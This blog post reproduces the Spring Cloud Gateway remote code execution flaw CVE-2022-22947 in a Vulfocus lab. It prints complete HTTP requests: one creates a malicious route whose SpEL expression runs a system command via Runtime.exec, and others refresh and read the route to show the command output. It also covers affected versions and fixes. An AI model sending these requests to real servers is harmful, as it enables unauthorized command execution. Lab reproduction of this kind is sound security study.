1. 程式人生 > 其它 >CVE-2022-22947 Spring Cloud Gateway 遠端程式碼執行漏洞復現

CVE-2022-22947 Spring Cloud Gateway 遠端程式碼執行漏洞復現

一、漏洞概述

2022年3月1日,VMware官方釋出漏洞報告,在使用Spring Colud Gateway的應用程式開啟、暴露Gateway Actuator端點時,會容易造成程式碼注入攻擊,攻擊者可以製造惡意請求,在遠端主機進行任意遠端執行。   二、影響版本 Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
舊的、不受支援的版本也會受到影響
 

三、漏洞原理

大白話就是說:因為ShortcutConfigurable.java中的getValue方法可以被ConfigurationService.java包中ConfigurableBuilder的normalizeProperties函式的this.properties引數控制修改,攻擊者通過新增帶有filter的惡意路由,當重新載入路由時,會觸發對引數的歸一化邏輯,從而導致filter引數value中的SPEL表示式被解析。

 大佬文章連結:https://blog.csdn.net/include_voidmain/article/details/123819107

四、漏洞復現環境

Kali Linux + Vulfocus
滲透機:Kali Linux 
靶機:Vulfocus

五、實驗步驟

1.開啟vulfoucs並獲取實驗映象

2.訪問網頁並抓包

3.構造併發送惡意的路由請求

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 		Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}
  • id 欄位指定新路由的名稱,必須全域性唯一;

filters

    欄位給這條路由指定若干個過濾器。過濾器用於對請求和響應進行修改;
    • name 欄位指定要新增的過濾器,這裡添加了一個 AddResponseHeader 過濾器,用於 gateway 給客戶端返回響應之前新增一個響應頭;
    • args.name 欄位指定要新增的響應頭;
    • args.value 欄位指定響應頭的值。這裡的值是要執行的 SPEL 表示式,用於執行 whoami 命令。注意需要將命令輸出結尾的換行符去掉,否則過濾器執行時會丟擲異常說「響應頭的值不能以 \r 或 \n 結尾」;
    • uri 欄位指定將客戶端請求轉發到 http://example.com。

4.應用之前的路由傳送此資料包,此資料包可觸發表示式

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5.傳送此資料包,檢視命令回顯,可以看到之前新增的路由

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

6.訪問actuator API介面

GET /actuator HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

7.訪問env介面並獲取flag

8.完結撒花

六、修復方式

1)3.1.x使用者應升級到3.1.1+;

2)3.0.x使用者應升級到3.0.7+;

3)如果不需要Actuator功能,可以通過management.endpoint.gateway.enable:false配置將其禁用。